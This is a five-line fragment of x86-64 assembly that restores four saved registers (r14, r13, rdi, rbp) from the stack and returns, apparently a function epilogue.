pop r14
pop r13
pop rdi
pop rbp
ret